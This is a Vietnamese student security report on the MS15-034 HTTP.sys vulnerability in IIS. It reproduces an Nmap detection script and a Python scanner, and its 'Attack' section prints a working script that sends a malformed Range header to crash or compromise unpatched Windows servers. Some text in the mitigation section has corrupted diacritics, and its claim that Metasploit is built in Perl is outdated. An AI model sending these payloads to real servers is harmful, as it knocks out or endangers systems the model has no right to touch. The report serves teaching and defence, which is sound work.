Tải bản đầy đủ (.pdf) (16 trang)

Vulnerability in HTTP sys could allow remote code execution (MS15 034) PTIT

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (765.89 KB, 16 trang )

HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG
KHOA AN TOÀN THÔNG TIN

----

BÁO CÁO MÔN HỌC

AN TOÀN HỆ ĐIỀU HÀNH
ĐỀ TÀI:
Vulnerability in HTTP.sys Could Allow Remote Code
Execution (CVE-2015-1635)

Hà Nội, 2016


MỤC LỤC
PHẦN I:

GIỚI THIỆU ...................................... 3

1.1

Giới thiệu về cấu trúc của IIS và bộ đệm HTTP.sys ............. 3

1.2

Giới thiệu bộ đệm HTTP.sys (Hypertext transfer protocal stack) ... 5

1.3

Lỗ hổng CVE-2015-1635 .............................. 5



PHẦN II. KHAI THÁC & TẤN CÔNG ............................ 8
2.1

Sử dụng phần mềm Metasploit để tìm kiếm thông tin .......... 8

2.2

Kiểm tra cổng dịch vụ đang mở trên máy mục tiêu ............ 9

Sử dụng httpSYS.py để quét và phát hiện máy bị lỗi ............... 12
2.3 Tấn công .......................................... 13
PHẦN III. Phòng chống .................................... 15
PHẦN IV. Demo ......................................... 16

2


PHẦN I:

GIỚI THIỆU

1.1

Giới thiệu về cấu trúc của IIS và bộ đệm HTTP.sys

A)

Giới thiệu về IIS:


IIS là viết tắt của từ (Internet Information Services), được đính kèm với
các phiên bản của Windows. IIS là các dịch vụ dành cho máy chủ chạy trên nền
hệ điều hành Window nhằm cung cấp và phân tán các thông tin lên mạng, nó
bao gồm nhiều dịch vụ khác nhau như Web Server, FTP Server…
Nó có thể được sử dụng để xuất bản nội dung của các trang Web lên
Internet/Intranet bằng việc sử dụng “Phương thức chuyển giao siêu văn bản“
– Hypertext Transport Protocol (HTTP).
Như vậy, sau khi bạn thiết kế xong các trang Web của mình, nếu bạn
muốn đưa chúng lên mạng để mọi người có thể truy cập và xem chúng thì bạn
phải nhờ đến một Web Server, ở đây là IIS.
Nếu không thì trang Web của bạn chỉ có thể được xem trên chính máy của
bạn hoặc thông qua việc chia sẻ tệp (file sharing) như các tệp bất kỳ trong
mạng nội bộ mà thôi.
Hiện tại IIS đã có các phiên bản 3.0, 4.0, 5.1, 6.0, 7.0, 7.5. Nói chung cách
cài đặt không có gì khó và khác nhau lắm giữa các version.
Các điểm cải tiến ở IIS 7 tập trung quanh vấn đề sử dụng mô hình thiết kế
modul, chức năng quản lý dễ dàng, và nâng cao tính bảo mật.
Phiên bản IIS 7 bao gồm:


Windows Process Activation Service (WAS): thiết lập trang sử
dụng giao thức HTTP và HTTPS



Web server engine: thêm hoặc xóa các module



Integrated request-processing: xử lý request từ IIS đến ASP.NET


B)
Hoạt động của IIS
Một trong những dịch vụ phổ biến nhất của IIS là dịch vụ WWW (World
Wide Web), nói tắt là dịch vụ Web.
Dịch vụ Web sử dụng giao thức HTTP để tiếp nhận yêu cầu (Requests)
của trình duyệt Web (Web browser) dưới dạng một địa chỉ URL (Uniform

3


Resource Locator) của một trang Web và IIS phản hồi lại các yêu cầu bằng
cách gửi về cho Web browser nội dung của trang Web tương ứng.

o HTTP.sys nhận request mà client gửi lên
o HTTP.sys liên lạc với WAS để nhận được những thông tin cấu hình
o WAS yêu cầu thông tin cấu hình từ applicationHost.config
o WWW service nhận thông tin cấu hình
o WWW service sử dụng thông tin cấu hình để config HTTP.sys
o WAS khởi động một worker processor trong application pool để xử
lý request
o Worker processor xử lý request và gửi response cho HTTP.sys
o HTTP.sys gửi response cho client.
4


1.2
stack)

Giới thiệu bộ đệm HTTP.sys (Hypertext transfer protocal


HTTP.sys là một subsystem trong hệ thống của Windows, chạy dưới chế
độ nhân. HTTP.sys lắng nghe request trong network, chuyển request cho IIS
xử lý, sau đó gửi response cho trình duyệt của client.
Lới ích từ việc sử dụng HTTP.sys:
o Kernel mode caching: request và response được xử lý mà không
cần chuyển qua chế độ người dùng
o Kernel mode request queuing: Thiết lập hàng đợi cho những
requests, giúp IIS không bị quá tải khi xử lý
o Các request sẽ được tiền xử lý và kiểm tra những vấn đề an ninh cơ
bản.
1.3

Lỗ hổng CVE-2015-1635

a, Thông tin tin cơ bản:
Lỗ hổng trong HTTP.sys có thể cho phép Mã Thực hiện từ xa được công
bố vào tháng 4 năm 2015 và được Microsoft đánh giá là lỗ hổng cực kỳ nghiêm
trọng.
HTTP.sys tồn tại một lỗ hổng bảo mật khi nó xử lý không đúng cách một
request mà attacker gửi lên. Một khi đã thành công trong việc khai thác lỗi,
attacker có thể thực thi code trên máy tính của nạn nhân
b, Những hệ thống bị ảnh hưởng bởi lỗ hổng HTTP.sys
Lỗ hổng bảo mật này được xếp hạng nghiêm trọng cho tất cả các phiên
bản của Windows 7, Windows Server 2008 R2, Windows 8, Windows Server
2012, Windows 8.1, và Windows Server 2012 R2. Bảng đánh giá và xác định
mức độ ảnh hưởng nghiêm trọng:
Vulnerability Severity Rating and Maximum Security Impact by Affected Software

Affected Software


HTTP.sys Remote Code
Execution Vulnerability - CVE-20151635

Aggregate
Severity Rating

5


Windows 7
Windows 7 for 32-bit Systems
Service Pack 1
(3042553)

Critical
Remote Code Execution

Critical

Windows 7 for x64-based
Systems Service Pack 1
3042553

Critical
Remote Code Execution

Critical

Windows Server 2008 R2 for

Itanium-Based Systems Service Pack 1
(3042553)

Critical
Remote Code Execution

Critical

Windows Server 2008 R2 for
x64-based Systems Service Pack 1
(3042553)

Critical
Remote Code Execution

Critical

Windows 8 for 32-bit Systems
(3042553)

Critical
Remote Code Execution

Critical

Windows 8 for x64-based
Systems
(3042553)

Critical

Remote Code Execution

Critical

Windows Server 2008 R2

Windows 8 and Windows 8.1

Windows Server 2012 and Windows Server 2012 R2
Windows Server 2012
(3042553)

Critical
Remote Code Execution

Critical

Windows Server 2012 R2
(3042553)

Critical
Remote Code Execution

Critical

Server Core installation option
Windows Server 2012 (Server

Critical


Critical

6


Core installation)
(3042553)
Windows Server 2012 R2
(Server Core installation)
(3042553)

Remote Code Execution

Critical
Remote Code Execution

Critical

7


PHẦN II.
2.1

KHAI THÁC & TẤN CÔNG

Sử dụng phần mềm Metasploit để tìm kiếm thông tin

Metasploit là một dự án bảo mật máy tính cung cấp các thông tin về vấn
đề linỗ hổng bảo mật cũng như giúp đỡ về kiểm tra thăm nhập và phát triển hệ

thống phát hiện tấn công mạng. Metasploit Framework là một môi trường
dùng để kiểm tra, tấn công và khai thác lỗi của các service. Metasploit được
xây dựng từ ngôn ngữ hướng đối tượng Perl, với những components được viết
bằng C, assembler, và Python. Metasploit có thể chạy trên hầu hết các hệ điều
hành: Linux, Windows, MacOS. Chúng ta có thể download chương trình tại
www.metasploit.com
Metasploit hỗ trợ nhiều giao diện với người dùng:
– Console interface: dùng lệnh msfconsole. Msfconsole interface sử dụng
các dòng lệnh để cấu hình, kiểm tra nên nhanh hơn và mềm dẻo hơn.
– Web interface: dùng msfweb, giao tiếp với người dùng thông qua giao
diện Web.
– Command line interface: dùng msfcli.
Metasploit Enviroment:
– Global Enviroment: Được thực thi thông qua 2 câu lệnh setg và unsetg,
những options được gán ở đây sẽ mang tính toàn cục, được đưa vào tất cả các
module exploits.
– Temporary Enviroment: Được thực thi thông qua 2 câu lệnh set và
unset, enviroment này chỉ được đưa vào module exploit đang load hiện tại,
không ảnh hưởng đến các module exploit khác Chúng có thể lưu lại
enviroment mình đã cấu hình thông qua lệnh save. Môi trường đó sẽ được lưu
trong ./msf/config và sẽ được load trở lại khi user interface được thực hiện.
Sử dụng Metasploit Framework:
- Chọn module exploit: Lựa chọn chương trình, dịch vụ lỗi mà
Metasploit có hỗ trợ để khai thác
Show exploits: xem các module exploit mà framework có hỗ trợ.
Use exploit_name: chọn module exploit.
Info exploit_name: xem thông tin về module exploit.

8



Chúng ta nên cập nhật thường xuyên các lỗi dịch vụ cũng như các module
trên
www.metasploit.com
hoặc
qua
lệnh
msfupdate
hoặc
svnupdat/opt/metasploit/msf3/
a, Cấu hình Module exploit đã chọn:
show options: Xác định những options nào cần cấu hình. set: cấu hình cho
những option của module đó.
Một vài module còn có những advanced options, chúng ta có thể xem
bằng cách gõ dòng lệnh show advanceds.
b, Verify những options vừa cấu hình:
check: kiểm tra xem những option đã được set chính xác chưa.
c, Lựa chọn target:
show targets: những target được cung cấp bởi module đó. set: xác định
target nào.
d, Lựa chọn payload:
show payloads: liệt kê ra những payload của module exploit hiện tại.
info payload_name: xem thông tin chi tiết về payload đó.
set payload payload_name: xác định payload module name. Sau khi lựa
chọn payload nào, dùng lệnh show options để xem những options của payload
đó.
show advanced: xem những advanced options của payload đó.
e, Thực thi exploit:
exploit: lệnh dùng để thực thi payload code. Payload sau đó sẽ cung cấp
cho chúng ta những thông tin về hệ thống được khai thác.

2.2

Kiểm tra cổng dịch vụ đang mở trên máy mục tiêu

Nmap (Network Mapper) là một công cụ mã nguồn mở miễn phí nhằm
phát hiện mạng và kiểm toán an ninh. Nmap và Zenmap (Công cụ hỗ trợ đồ
họa của nmap) được cài đặt sẵn trong BackTrack, sử dụng các gói tin IP giúp
xác định host nào có sẵn trên mạng, các dịch vụ (tên ứng dụng và phiên bản)
mà host đó đang cung cấp, hệ điều hành gì (và các phiên bản hệ điều hành) mà
họ đang chạy, loại bộ lọc gói tin hoặc tường lửa nào đang sử dụng, và nhiều
9


đặc điểm khác. Nmap chạy được trên tất cả các hệ điều hành, và các gói nhị
phân chính thức có sẵn cho Linux, Windows, và Mac OSX.
Sau khi xác định được các host có trong mạng, ta có thể sử dụng các công
cụ quét lỗi hệ thống để xác định lỗ hổng của hệ thống muốn xâm nhập, từ đó
khai thác truy cập vào hệ thống. Một trong số các công cụ quét lỗi này là
Nessus.
Một khi đã xâm nhập thành công và chiếm được toàn quyền điều khiển hệ
thống, Hacker có thể thực hiện mọi việc trên máy nạn nhân như down/upload
files, thay đổi cấu trúc hệ thống, thực thi chương trình, đánh cắp mật khẩu, cài
trojan/ backdoor …
Sử dụng nmap:
Sử dụng lệnh sau để kiểm tra: Nmap –p80 http-vuln-cve2015-1635.nse [IP]
Sử dụng nmap chạy file http-vuln-cve2015-1635.nse để kiểm tra xem
hệ thống có tồn tại lỗ hổng CVE-2015-1635 hay không:
Source file http-vuln-cve2015-1635.nse:
local shortport = require "shortport"
local http = require "http"

local stdnse = require "stdnse"
local string = require "string"
local vulns = require "vulns"
description = [[Checks for a remote code execution vulnerability (MS15-034)
in Microsoft Windows systems (CVE2015-2015-1635).
The script sends a specially crafted HTTP request with no impact on the
system to detect this vulnerability.
The affected versions are Windows 7, Windows Server 2008 R2, Windows 8,
Windows Server 2012, Windows 8.1,
and Windows Server 2012 R2.
References:
* />]]
---- @usage nmap -sV --script vuln <target>
-- @usage nmap -p80 --script http-vuln-cve2015-1635.nse <target>
-- @usage nmap -sV --script http-vuln-cve2015-1635 --script-args
uri='/anotheruri/' <target>
-- @output
-- PORT STATE SERVICE REASON
10


-- 80/tcp open http syn-ack
-- | http-vuln-cve2015-1635:
-- | VULNERABLE:
-- | Remote Code Execution in HTTP.sys (MS15-034)
-- | State: VULNERABLE (Exploitable)
-- | IDs: CVE:CVE-2015-1635
-- |
A remote code execution vulnerability exists in the HTTP protocol stack
(HTTP.sys) that is

-- |
caused when HTTP.sys improperly parses specially crafted HTTP
requests. An attacker who
-- |
successfully exploited this vulnerability could execute arbitrary code in
the context of the System account.
-- |
-- | Disclosure date: 2015-04-14
-- | References:
-- |
/>-- |_ />-- @args http-vuln-cve2015-1635.uri URI to use in request. Default: /
--author = {"Kl0nEz", "Paulino <calderon()websec.mx>"}
license = "Same as Nmap--See />categories = {"vuln", "safe"}
portrule = shortport.http
local VULNERABLE = "Requested Range Not Satisfiable"
local PATCHED = "The request has an invalid header name"
action = function(host, port)
local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/"
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
local vuln = {
title = 'Remote Code Execution in HTTP.sys (MS15-034)',
state = vulns.STATE.NOT_VULN,
description = [[
A remote code execution vulnerability exists in the HTTP protocol stack
(HTTP.sys) that is
caused when HTTP.sys improperly parses specially crafted HTTP requests. An
attacker who
successfully exploited this vulnerability could execute arbitrary code in the
context of the System account.
]],

IDS = {CVE = 'CVE-2015-1635'},
references = {
' />},
11


dates = {
disclosure = {year = '2015', month = '04', day = '14'},
}
}
local options = {header={}}
options['header']['Host'] = stdnse.generate_random_string(8)
options['header']['Range'] = "bytes=0-18446744073709551615"
local response = http.get(host, port, uri, options)
if response.status and response.body then
if response.status == 416 and string.find(response.body, VULNERABLE) ~=
nil
and string.find(response.header["server"], "Microsoft") ~= nil then
vuln.state = vulns.STATE.VULN
end
if response.body and string.find(response.body, PATCHED) ~= nil then
stdnse.debug2("System is patched!")
vuln.state = vulns.STATE.NOT_VULN
end
end
return vuln_report:make_output(vuln)
end

Sử dụng Python
Sử dụng httpSYS.py để quét và phát hiện máy bị lỗi

Source code:
import socket
import random
import sys
if len(sys.argv) <= 1:
sys.exit('Give me an IP')
ipAddr = sys.argv[1]
hexAllFfff = "18446744073709551615"
req1 = "GET / HTTP/1.0\r\n\r\n"
req = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff +
"\r\n\r\n"
print "[*] Audit Started"
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ipAddr, 80))
client_socket.send(req1)
boringResp = client_socket.recv(1024)
12


if "Microsoft" not in boringResp:
print "[*] Not IIS"
exit(0)
client_socket.close()
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ipAddr, 80))
client_socket.send(req)
goodResp = client_socket.recv(1024)
if "Requested Range Not Satisfiable" in goodResp:
print "[!!] Looks VULN"
elif " The request has an invalid header name" in goodResp:

print "[*] Looks Patched"
else:
print "[*] Unexpected response, cannot discern patch status"

2.3 Tấn công
Sau khi xác định máy tính nạn nhân tồn tại lỗ hổng http.sys cho phép thực
thi mã từ xa, tiến hành thực hiện tấn công bằng cách gửi một yêu cầu HTTP tới
hệ thống bị ảnh hưởng:
Sử dụng Python:
Sử dụng python chạy file Check.py:
Source file:
#Tested on Win Srv 2012R2.
import socket,sys
if len(sys.argv)<=1:
sys.exit('Give me an IP')
Host = sys.argv[1]
def SendPayload(Payload, Host):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((Host, 80))
s.send(Payload)
s.recv(1024)
s.close()
#Make sure iisstart.htm exist.
Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange:
bytes=18-18446744073709551615\r\n\r\n"

13



SendPayload(Init, Host)
SendPayload(Payload, Host)

14


PHẦN III.

Phòng chống

Nguyên nhân:
- HTTP.sys là mọ t phà n củ a hẹ thó ng mạ ng củ a hẹ điè u hà nh Windows,
và nó được thực hiẹ n như là mọ t trình điè u khiẻ n thié t bị hạ t nhan,
gọ i là giao thức HTTP stack. HTTP.sys lang nghe yeu cà u HTTP từ
mạng, vượt qua các yêu cầu trên IIS để xử lý, và sau đó trả về phả n
hò i đa ché bié n cho trình duyẹ t web củ a khá ch hà ng.
 HTTP.sys cung cấp các lợi ích sau:
- Kernel-mode bộ nhớ đệm. Các yêu cầu để được trả lời cache được
phục vụ mà không cần chuyển sang chế độ người dùng.
- Kernel-mode yêu cầu xếp hàng. Kernel-mode chuyẻ n tié p yeu cà u
trực tié p đé n quá trình hoạ t đọ ng củ a hẹ thó ng. Né u khong có quá
trình có san đẻ chá p nhạ n sử lí mọ t yeu cà u, hà ng đợi kernel-mode
giư yeu cà u cho đé n mọ t quá trình nhạ t nó len đẻ xử lý .
- Yêu cầu trước khi xử lý và lọc an ninh.
 Kernel-mode bộ nhớ đệm giúp tăng hiệu quả bằng cách phục vụ
tất cả các yêu cầu nội dung được lưu trữ trực tiếp từ kernel-mode,
dường như là thủ phạm trong lỗ hổng này.
Biện pháp:
- Cập nhật bản vá KB3042553 cho từng version os
+ Các bản cập nhật an ninh giải quyết lỗ hổng bằng cách thay đổi

cách Windows HTTP chồng xử lý yêu cầu.
 Bó trí địa chỉ khong gian nhớ ngã u nhien, giú p ngan chạ n kẻ
tấn công tận dụng dữ liệu tại các địa điểm dự đoán được.
 Di chuyẻ n ngan xé p củ a thread đé n mọ t vị trí ngã u nhien đẻ
giúp giảm nguy cơ một bộ đệm tràn ngăn xếp.
- Vô hiệu hóa bộ nhớ đệm IIS kernel
Cách giải quyết này có thể gây ra vấn đề về hiệu suất.
15


PHẦN IV.

Demo

16



×